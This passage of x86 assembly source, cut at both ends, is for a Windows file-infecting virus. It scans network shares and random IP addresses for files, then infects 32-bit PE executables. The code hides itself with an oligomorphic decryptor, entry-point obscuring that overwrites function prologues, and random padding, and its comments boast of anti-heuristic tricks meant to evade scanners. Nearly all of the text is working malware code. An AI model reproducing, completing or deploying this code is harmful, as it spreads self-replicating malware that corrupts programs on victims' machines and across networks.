ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk] pop ecx pop ecx test eax, eax jne wnet_free test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER jne wnet_open push dword ptr [edi + NETRESOURCE.lpRemoteName] call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz wnet_skipdir ;I'm alone here ;with emptiness eagles and snow. ;Unfriendliness chilling my body ;and taunting with pictures of home. ;(Deep Purple) call find_files wnet_skipdir label near xor eax, eax wnet_free label near push eax push edi call cGlobalFree pop ecx jecxz wnet_next wnet_close label near push ebx store_netapi label near mov eax, '!bgr' call eax ;WNetCloseEnum mov ecx, dword ptr [esi + wnetlist.wnetprev] jecxz wnet_exit mov ebx, dword ptr [esi + wnetlist.wnethand] push esi mov esi, ecx call cGlobalFree jmp wnet_next wnet_exit label near push 20 * 60 * 1000 ;20 minutes call cSleep jmp find_wnet find_wnet endp create_thr2 label near push esi push esi call cCreateThread ;----------------------------------------------------------------------------- ;thread 3: find files on random IP address shares using non-recursive algorithm ;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all) ;----------------------------------------------------------------------------- call cGetVersion test eax, eax mov eax, 'aten' mov ecx, '23ip' ;"netapi32" (NT/2000/XP) jns ip_loaddll mov eax, 'arvs' movzx ecx, cx ;"svrapi" (9x/Me) ip_loaddll label near pushfd push esi push ecx push eax push esp call cLoadLibraryA add esp, 0ch popfd jns ip_getprocnt call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ip9xcrcbegin label near ;place < 80h bytes from call for smaller code dd (ip9xcrc_count + 1) dup (0) ip9xcrcend label near dd offset ip_share - offset ip9xcrcend + 4 ip_getprocnt label near call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ipntcrcbegin label near ;place < 80h bytes from call for smaller code dd (ipntcrc_count + 1) dup (0) ipntcrcend label near dd offset ip_share - offset ipntcrcend + 4 ip_share label near call random xchg ebp, eax ;initial IP address find_ip proc near call random and al, 18h je find_ip ;select class A-C only xchg ecx, eax xor eax, eax mov al, 0ffh shl eax, cl ;select random class and ecx, eax ;isolate new class not eax and ebx, eax ;remove old class or ebx, ecx ;insert new class ip_save label near push ebx bswap ebx enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename call cGetVersion shr eax, 1fh ;0 if Unicode, 1 if ANSI xchg esi, eax xor al, al mov cl, 0ah std stos byte ptr [edi] mov edx, edi stos byte ptr [edi] ;store Unicode sentinel stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI ;----------------------------------------------------------------------------- ;convert IP address to string (ANSI or Unicode) ;----------------------------------------------------------------------------- ip_shift label near xor eax, eax shld eax, ebx, 8 ip_hex2dec label near div cl xchg ah, al add al, '0' stos byte ptr [edi] xor al, al stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI shr eax, 8 jne ip_hex2dec mov al, '.' stos byte ptr [edi] xor al, al stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI shl ebx, 8 jne ip_shift cld push edi mov al, '\' stos byte ptr [edi] inc edi ;include Unicode half-character sub edi, esi ;remove character if ANSI stos byte ptr [edi] ;store '\\' in ANSI or Unicode pop edi test esi, esi je ip_sharent ;----------------------------------------------------------------------------- ;enumerate shares on IP address (9x/Me platform) ;----------------------------------------------------------------------------- push ebx mov eax, esp push ebx push esp push eax push ebx ;too small size returns needed size push ebx push 1 push edi mov ebx, edi mov edi, edx call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h] pop ecx pop esi sub al, ERROR_MORE_DATA jne ip_restore imul esi, ecx, size share_info_19x + 50 ;include size of optional remark push esi push eax ;GMEM_FIXED call cGlobalAlloc cdq xchg ecx, eax jecxz ip_restore push ecx ;GlobalFree push edx mov eax, esp push edx push esp push eax push esi push ecx push 1 push ebx mov esi, ecx call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h] pop ecx pop ecx mov al, '\' stos byte ptr [edi] ip_next9x label near push ecx push edi movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs byte ptr [edi], byte ptr [esi] ;attach sharename pop edi push ebx call cSetCurrentDirectoryA xchg ecx, eax jecxz ip_skip9x ;I dream of rain, I live my years under an open sky call find_files ip_skip9x label near add esi, size share_info_19x - share_info_19x.shi1_pad1 pop ecx loop ip_next9x ip_free9x label near call cGlobalFree ip_restore label near leave pop ebx inc bl jne ip_save push 20 * 60 * 1000 ;20 minutes call cSleep jmp find_ip ip_sharent label near ;----------------------------------------------------------------------------- ;enumerate shares on IP address (NT/2000/XP platform) ;----------------------------------------------------------------------------- push eax mov eax, esp push eax mov ecx, esp push ebx push esp push eax push MAX_PREFERRED_LENGTH push ecx push 1 push edi call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch] test eax, eax pop esi pop ebx push esi ;NetApiBufferFree jne ip_freent ip_nextnt label near push esi lods dword ptr [esi] push eax xchg esi, eax xor eax, eax ;lstrlenW call store_krnapi lea eax, dword ptr [eax + eax + 26h] ;include size of Unicode '\\' + Unicode IP address + Unicode '\' push eax push GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz ip_freent push ecx ;GlobalFree push ecx ;SetCurrentDirectoryW push esi ;lstrcatW push ecx ;lstrcatW push '\' push esp ;lstrcatW push ecx ;lstrcatW push edi push ecx push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi ;copy IP address call clstrcatW ;attach '\' pop eax call clstrcatW ;attach sharename push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi xchg esi, eax call cGlobalFree test esi, esi je ip_skipnt ;when you look into the abyss, the abyss looks back at you call find_files ip_skipnt label near pop esi add esi, size share_info_1nt dec ebx jne ip_nextnt ip_freent label near call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4] jmp ip_restore find_ip endp ;----------------------------------------------------------------------------- ;create oligomorphic decryptor ;----------------------------------------------------------------------------- storeebx proc near test bh, 1 shl state_loadebx jne storeebx_ret ;done already mov al, 0bbh ;mov ebx mov edx, esi test bl, state_esifirst jne storeebx_test ;esi first mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi jmp storeebx_now storeebx_test label near test bh, 1 shl state_loadesi je storeebx_ret ;require esi first mov al, 8dh ;lea stos byte ptr [edi] mov al, 9eh ;ebx sub edx, dword ptr [esp + 4] test bl, state_decdown je storeebx_now sub edx, vsize sub edx, ecx storeebx_now label near inc bh ;or bh, 1 shl state_loadebx stos byte ptr [edi] xchg edx, eax stos dword ptr [edi] storeebx_ret label near ret storeebx endp storeesi proc near test bh, 1 shl state_loadesi jne storeesi_ret ;done already mov al, 0beh ;mov esi mov edx, dword ptr [esp + 4] test bl, state_esifirst je storeesi_ebx ;ebx first mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi test bl, state_decdown je storeesi_now add edx, vsize jmp storeesi_rand storeesi_ebx label near test bh, 1 shl state_loadebx je storeesi_ret ;require ebx first mov al, 8dh ;lea stos byte ptr [edi] mov al, 0b3h ;esi sub edx, esi test bl, state_decdown je storeesi_now add edx, vsize storeesi_rand label near add edx, ecx storeesi_now label near or bh, 1 shl state_loadesi stos byte ptr [edi] xchg edx, eax stos dword ptr [edi] storeesi_ret label near ret storeesi endp storeenter proc near bts ebx, state_entered + 8 jb storeenter_ret ;done already mov al, 0c8h ;enter stos byte ptr [edi] xchg ebp, eax stos dword ptr [edi] dec edi ;xxxx, 00 storeenter_ret label near ret storeenter endp storeedi proc near test bh, 1 shl state_entered je storeedi_ret ;require enter first bts ebx, state_loadedi + 8 jb storeedi_ret ;done already mov edx, 0effdfce7h ;ebp / esp test bl, state_decdown je storeedi_swap bswap edx ;use ebp storeedi_swap label near call random and al, 2 je storeedi_now mov dl, dh ;use other encoding storeedi_now label near add al, 89h ;mov edi stos byte ptr [edi] xchg edx, eax stos byte ptr [edi] storeedi_ret label near ret storeedi endp storestd proc near bts ebx, state_std + 8 jb storestd_ret ;done already test bl, state_decdown je storestd_ret ;not needed mov al, 0fdh ;std stos byte ptr [edi] storestd_ret label near ret storestd endp storepushb proc near test bh, 1 shl state_loadedi je storepushb_ret ;require mov edi first bts ebx, state_pushreg1 + 8 jb storepushb_ret ;done already test bl, state_pushret or state_pushb je storepushb_ret ;jmp esp jpo storepushb_ret ;push at end call random test al, 1 mov al, 54h ;push esp je storepushb_now test bh, 1 shl state_loadedi jnb storepushb_now ;requires mov edi first mov al, 57h ;push edi storepushb_now label near stos byte ptr [edi] storepushb_ret label near ret storepushb endp storelods proc near bts ebx, state_lods + 8 jb storelods_ret ;done already mov al, 0ach ;lods byte ptr [esi] test bl, state_movesi je storelods_now mov al, 8ah ;mov al, byte ptr [] stos byte ptr [edi] mov al, 6 ;esi storelods_now label near stos byte ptr [edi] storelods_ret label near ret storelods endp storexlat proc near test bh, 1 shl state_lods je storexlat_ret ;require lods first bts ebx, state_xlat + 8 jb storexlat_ret ;done already mov al, 0d7h ;xlat byte ptr [ebx] stos byte ptr [edi] storexlat_ret label near ret storexlat endp storestos proc near test bh, 1 shl state_xlat je storestos_ret ;require xlat first bts ebx, state_stos + 8 jb storestos_ret ;done already mov al, 0aah ;stos byte ptr [esi] test bl, state_movedi je storestos_now mov al, 88h ;mov byte ptr [], al stos byte ptr [edi] mov al, 7 ;edi storestos_now label near stos byte ptr [edi] storestos_ret label near ret storestos endp storeincs proc near test bh, 1 shl state_lods je storeincs_ret ;require lods first bts ebx, state_incesi + 8 jb storeincs_ret ;done already test bl, state_movesi je storeincs_ret ;not needed mov al, 46h ;inc esi test bl, state_decdown je storeincs_now mov al, 4eh ;dec esi storeincs_now label near stos byte ptr [edi] storeincs_ret label near ret storeincs endp storeincd proc near test bh, 1 shl state_stos je storeincd_ret ;require stos first bts ebx, state_incedi + 8 jb storeincd_ret ;done already test bl, state_movedi je storeincd_ret ;not needed mov al, 47h ;inc edi test bl, state_decdown je storeincd_now mov al, 4fh ;dec edi storeincd_now label near stos byte ptr [edi] storeincd_ret label near ret storeincd endp storecmp proc near test bh, 1 shl state_incedi je storecmp_ret ;require inc edi first bts ebx, state_cmp + 8 jb storecmp_ret ;done already mov edx, 0fce7fdefh ;esp / ebp test bl, state_decdown je storecmp_jg bswap edx ;use esp storecmp_jg label near test bl, state_jg je storecmp_swap xchg dl, dh storecmp_swap label near call random and al, 2 je storecmp_now mov dl, dh ;use other encoding storecmp_now label near add al, 39h ;cmp edi stos byte ptr [edi] xchg edx, eax stos byte ptr [edi] storecmp_ret label near ret storecmp endp storejne proc near test bh, 1 shl state_cmp je storejne_ret ;require cmp first bts ebx, state_branch + 8 jb storejne_ret ;done already mov edx, 7e767c72h ;jle, jbe, jl, jb test bl, state_jg je storejne_swap mov edx, 7d737f77h ;jge, jae, jg, ja storejne_swap label near test bl, state_decdown je storejne_now shld eax, edx, 10h xchg dx, ax ;reverse must use j?e storejne_now label near call random and al, 18h xchg ecx, eax rol edx, cl ;random branch type xchg edx, eax stos byte ptr [edi] sub ebp, edi dec ebp xchg ebp, eax stos byte ptr [edi] storejne_ret label near ret storejne endp storepushe proc near test bh, 1 shl state_branch je storepushe_ret ;require branch first bts ebx, state_pushreg2 + 8 jb storepushe_ret ;done already test bl, state_pushret or state_pushb jpe storepushe_ret ;jmp esp or push at begin mov al, 54h ;push esp stos byte ptr [edi] storepushe_ret label near ret storepushe endp storeret proc near test bh, bh ;test bh, 1 shl state_pushreg2 jns storeret_ret ;require push at end first mov al, 0c3h ;ret test bl, state_pushret jne storeret_now mov al, 0ffh ;jmp stos byte ptr [edi] mov al, 0e4h ;esp storeret_now label near or bl, 1 shl state_ret stos byte ptr [edi] storeret_ret label near ret storeret endp ;----------------------------------------------------------------------------- ;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura ;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence ;asm port and size optimise by rgb in 2002 ;----------------------------------------------------------------------------- randinit proc near ;eax = seed, ecx = 0, edi -> unaligned RNG cache pushad or edi, 3 inc edi ;dword align push edi or eax, 1 mov cx, statelen init_loop label near stos dword ptr [edi] mov edx, 69069 mul edx ;Knuth: x_new = x_old * 69069 loop init_loop inc ecx ;force reload call initdelta initdelta label near pop edi add edi, offset randvars - offset initdelta xchg ecx, eax stos dword ptr [edi] pop eax stos dword ptr [edi] stos dword ptr [edi] popad ret randinit endp random proc near pushad call randelta randvars label near db 'rgb!' ;numbers left db 'rgb!' ;next pointer db 'rgb!' ;state pointer randelta label near pop esi push esi lods dword ptr [esi] xchg ecx, eax lods dword ptr [esi] xchg esi, eax loop random_ret mov cx, statelen - period mov esi, dword ptr [eax] lea ebx, dword ptr [esi + (period * 4)] mov edi, esi push esi lods dword ptr [esi] xchg edx, eax call twist pop ebx mov cx, period - 1 push ecx push ebx call twist pop esi push esi inc ecx call twist xchg edx, eax pop esi pop ecx inc ecx random_ret label near lods dword ptr [esi] mov edx, eax shr eax, tshiftU xor eax, edx mov edx, eax shl eax, tshiftS and eax, tmaskB xor eax, edx mov edx, eax shl eax, tshiftT and eax, tmaskC xor eax, edx mov edx, eax shr eax, tshiftL xor eax, edx pop edi mov dword ptr [esp + 1ch], eax ;eax in pushad xchg ecx, eax stos dword ptr [edi] xchg esi, eax stos dword ptr [edi] popad ret random endp twist proc near lods dword ptr [esi] push eax add eax, eax ;remove highest bit add edx, edx ;test highest bit rcr eax, 2 ;merge bits and test lowest bit jnb twist_skip ;remove branch but larger using: xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx twist_skip label near xor eax, dword ptr [ebx] add ebx, 4 stos dword ptr [edi] pop edx loop twist ret twist endp ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- find_files proc near pushad push size findlist push GMEM_ZEROINIT call cGlobalAlloc test eax, eax je file_exit xchg esi, eax call get_krnapis file_first label near push '*' ;ANSI-compatible Unicode findmask mov eax, esp lea ebx, dword ptr [esi + findlist.finddata] push ebx push eax call dword ptr [ebp + krncrcstk.kFindFirstFileW] pop ecx mov dword ptr [esi + findlist.findhand], eax inc eax je file_prev ;you must always step forward from where you stand test_dirfile label near mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes] lea edi, dword ptr [esi + findlist.finddata.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je file_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push edi call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz file_next push size findlist push GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi + findlist.findprev], ecx jmp file_first file_exit label near popad ret file_next label near lea ebx, dword ptr [esi + findlist.finddata] push ebx mov edi, dword ptr [esi + findlist.findhand] push edi call dword ptr [ebp + krncrcstk.kFindNextFileW] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node ;----------------------------------------------------------------------------- push edi mov al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2 call store_krnapi file_prev label near push esi mov esi, dword ptr [esi + findlist.findprev] call cGlobalFree test esi, esi je file_exit step_updir label near ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' push esp call cSetCurrentDirectoryA pop eax jmp file_next test_file label near ;----------------------------------------------------------------------------- ;get full path and convert to Unicode if required (SFC requires Unicode path) ;----------------------------------------------------------------------------- push eax ;save original file attributes for close mov eax, ebp enter MAX_PATH * 2, 0 mov ecx, esp push eax push esp push ecx push MAX_PATH push edi call dword ptr [eax + krncrcstk.kGetFullPathNameW] xchg edi, eax pop eax xor ebx, ebx call cGetVersion test eax, eax jns store_sfcapi mov ecx, esp xchg ebp, eax enter MAX_PATH * 2, 0 xchg ebp, eax mov eax, esp push MAX_PATH push eax inc edi push edi push ecx push ebx ;use default translation push ebx ;CP_ANSI push (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi store_sfcapi label near ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- mov ecx, '!bgr' ;SfcIsFileProtected xor eax, eax ;fake success in case of no SFC jecxz leave_sfc push esp push ebx call ecx leave_sfc label near leave test eax, eax jne restore_attr call set_fileattr push ebx push ebx ;attribute ignored for existing files push OPEN_EXISTING push ebx push ebx push GENERIC_READ or GENERIC_WRITE push edi call dword ptr [ebp + krncrcstk.kCreateFileW] xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) close_file label near ;label required for delta offset lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime] push eax sub eax, 8 push eax sub eax, 8 push eax push ebx push (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi push ebx call cCloseHandle restore_attr label near pop ebx ;restore original file attributes call set_fileattr jmp file_next find_files endp ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs push ebx lea edi, dword ptr [esi + findlist.finddata.cFileName] push edi call dword ptr [ebp + krncrcstk.kSetFileAttributesW] ret ;edi -> filename db "02/02/02" set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;no .dll files this time ;----------------------------------------------------------------------------- test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- add esi, pehdr.pesubsys - pehdr.pecoff.petimedate lods dword ptr [esi] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], 0 jne inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax] add eax, edx lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax jne inftest_ret ;file contains appended data call find_epo sbb dword ptr [esp + mapsehstk.mapsehinfret], -1 ;skip call mask inftest_ret label near int 3 ;----------------------------------------------------------------------------- ;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) ;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged ;----------------------------------------------------------------------------- open_append proc near push (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi and eax, RANDPADMAX - 1 add ax, small (grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize + RANDPADMIN) ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow] xor ecx, ecx push eax push eax ;MapViewOfFile push ecx ;MapViewOfFile push ecx ;MapViewOfFile push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS push ecx push eax push ecx push PAGE_READWRITE push ecx push ebx push (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2 pop eax ;ANSI map is allowed because of no name call store_krnapi push eax xchg edi, eax push (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh mov esp, dword ptr [esp + sehstruc.sehprevseh] xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi push (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi call cCloseHandle pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + mapsehstk.mapsehsehret] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view open_append endp ;----------------------------------------------------------------------------- ;search first section for stack frame bytes that are large enough to hold code ;----------------------------------------------------------------------------- find_epo proc near ;edi = map view mov edx, edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] movzx eax, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum + pesect.sectrawsize] lods dword ptr [esi] sub eax, decsize jbe epo_fail xchg ecx, eax lods dword ptr [esi] add edi, eax find_enter label near mov al, 55h ;push ebp repne scas byte ptr [edi] jne epo_fail mov eax, dword ptr [edi] cmp ax, 0e589h ;mov ebp, esp je find_leave cmp ax, 0ec8bh ;mov ebp, esp jne find_enter find_leave label near push ecx push edi mov al, 5dh ;pop ebp repne scas byte ptr [edi] xchg edi, eax pop edi pop ecx jne find_enter sub eax, edi cmp eax, decsize - 1 jb find_enter mov eax, dword ptr [edi + eax - 3] cmp ax, 0ec89h ;mov esp, ebp je found_leave cmp ax, 0e58bh ;mov esp, ebp jne find_enter found_leave label near dec edi push edi sub edi, edx sub edi, dword ptr [esi + pesect.sectrawaddr - pesect.sectreladdr] add edi, dword ptr [esi + pesect.sectvirtaddr - pesect.sectreladdr] add edi, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] pop esi mov al, 'r' ;mask STC org $ - 1 epo_fail label near stc epo_ret label near xchg edi, eax ret ;eax = virtual address, esi = map offset find_epo endp ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;----------------------------------------------------------------------------- get_krnapis proc near ;place near to jump table for smaller code call cGetVersion krnapi_delta label near shr eax, 1fh mov ecx, dword ptr [esp - 4] ;no stack change in ring 3 mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3] lea ebp, dword ptr [eax * 4 + ecx] ret get_krnapis endp ;----------------------------------------------------------------------------- ;indexed API jump table ;----------------------------------------------------------------------------- clstrcatW proc near push (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2 jmp call_krncrc clstrcatW endp cSleep proc near push (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cSleep endp cSetCurrentDirectoryA proc near push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cSetCurrentDirectoryA endp cLoadLibraryA proc near push (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cLoadLibraryA endp cGlobalFree proc near push (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cGlobalFree endp cGlobalAlloc proc near push (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cGlobalAlloc endp cGetVersion proc near push (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cGetVersion endp cCreateThread proc near push (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2 jmp call_krncrc cCreateThread endp cCloseHandle proc near push (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2 cCloseHandle endp call_krncrc proc near pop eax store_krnapi label near jmp dword ptr [eax * 4 + '!bgr'] call_krncrc endp ;----------------------------------------------------------------------------- ;infect file using entry point obscured way and variable encryption ;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX ; bytes) to confuse scanners that look at end of file (also ; infection marker) ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; entry point is not altered. search instead for stack frame ; (push ebp+mov ebp, esp) with end (mov esp, ebp+pop ebp) at ; least as large as decryptor then save bytes and overwrite with ; small oligomorphic decryptor and body is encrypted using xlat ; table so is like having 256 keys ; variable number of garbage bytes placed on both sides of body ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call open_append delta_label label near push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum] imul eax, eax, size pesect movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] add eax, ecx lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov cx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx xchg ebp, eax add edx, dword ptr [esi] add edi, edx pop eax push eax push ecx push edi push esi xchg edi, eax call find_epo push decsize pop ecx mov edi, offset orgbytes - offset delta_label add edi, dword ptr [esp + infectstk.infseh.mapsehsehret] ;delta offset push ecx push esi rep movs byte ptr [edi], byte ptr [esi] inc edi stos dword ptr [edi] ;store_restore pop edi pop ecx pop esi pop eax push eax sub eax, dword ptr [esi] add eax, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] store_copysrc label near mov esi, '!bgr' sub eax, edx sub eax, esi add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] store_baseptr label near mov edx, '!bgr' inc edx add eax, dword ptr [edx] xchg dword ptr [edx], eax push esi store_decsrc label near mov esi, '!bgr' rep movs byte ptr [edi], byte ptr [esi] mov dword ptr [edx], eax push ebx mov ebx, esi mov 